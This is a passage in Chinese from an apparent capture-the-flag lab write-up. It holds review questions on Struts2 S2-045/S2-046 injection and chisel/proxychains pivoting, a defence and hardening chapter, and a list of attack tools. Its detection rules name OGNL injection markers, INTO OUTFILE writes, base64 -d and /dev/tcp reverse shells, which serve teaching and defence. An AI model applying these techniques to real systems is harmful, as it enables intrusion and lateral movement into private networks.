1. 为什么第 3 层的代理主服务器不能用 Kali？请用连通性解释。
2. “二层内网”意味着什么？为什么不能直接连外网？
3. S2-045 与 S2-046 的相同与不同之处？它们为什么能在 Content-Type/文件名里注入？
4. proxychains4 pgcli 里的 proxychains4 起到什么作用？不写它会怎样？
5. 进阶：本靶场依赖“双网卡跳板 + chisel”。如果某个跳板不提供 chisel 的安装/执行条件（如无执行权限、仅 Web 控制台），你会如何替代实现同样效果？（提示：WebShell 代理、SSH 隧道、frp 等）

第 7 章　综合防御与加固

“

本靶场几乎集齐了经典失误。针对每一步攻击，都有对应的防守命门。做防御最好的办法，就是知道攻击者怎么打进来。

7.1 逐项对照（攻击点 vs 防御点）

7.2 核心防御原则

1. 纵深防御：别把安全寄托在单点上。哪怕外网 Web 被攻破，内网也要有微隔离，让攻击者“进得来、走不远”。
2. 消除弱口令：数据库/管理后台一律强口令 + 定期改密 + 锁定策略。
3. 限制数据库文件写权限：secure_file_priv 不要留空；Web 根目录禁止 DB 写。
4. 最小权限：应用账号与 DBA 分离；root不做 Web 后台；容器/进程以低权限运行。
5. 最小暴露：数据库、管理后台（phpMyAdmin）只绑内网/管理网段，绝不暴露公网。
6. 出网管控：严格限制内网机器对外发起连接（反弹 shell、wget、隧道回连都依赖出网）。
7. 告警与审计：监控异常行为（INTO OUTFILE、base64 -d、/dev/tcp、异常大 Cookie、频繁失败登录等）。

7.3 可以落地的检测规则（示例）

• 检测异常的 Content-Type / 文件名中是否含有 %{、#context、Runtime（OGNL）。
• 检测 SELECT ... INTO OUTFILE / 大体积的 INTO DUMPFILE 语句。
• 检测 rememberMe Cookie 异常变大（可能被用于匹配大对象）。
• 检测内网主机大量、高频的出站连接（指向非白名单 IP 的 80/443 等）。
• 检测 AUTH 失败频率突增（Redis/Postgres 爆破）。

附录 A　工具速查表

A.1 chisel 命令对照

A.2 fscan 关键输出符号

附录 B　术语表

附录 C　参考资料与扩展阅读

• 官方靶场：CTF-Archives/Puff-Pastry
• 官方 WriteUp：TryHackMyOffsecBox — Puff-Pastry
• Shiro Attack2：SummerSec/ShiroAttack2
• ThinkPHP GUI 工具：bewhale/thinkphp_gui_tools
• Struts2 扫描工具：abc123info/Struts2VulsScanTools
• Redis 爆破：vgo0/redisbrute
• 内网渗透与隧道：chisel / frp / ssh -L/-R/-D 官方文档；《内网安全攻防》等进阶书籍。

“

本文章仅用于合法授权环境的教学与渗透测试练习，严禁用于未授权目标。请遵守所在国家/地区的法律法规。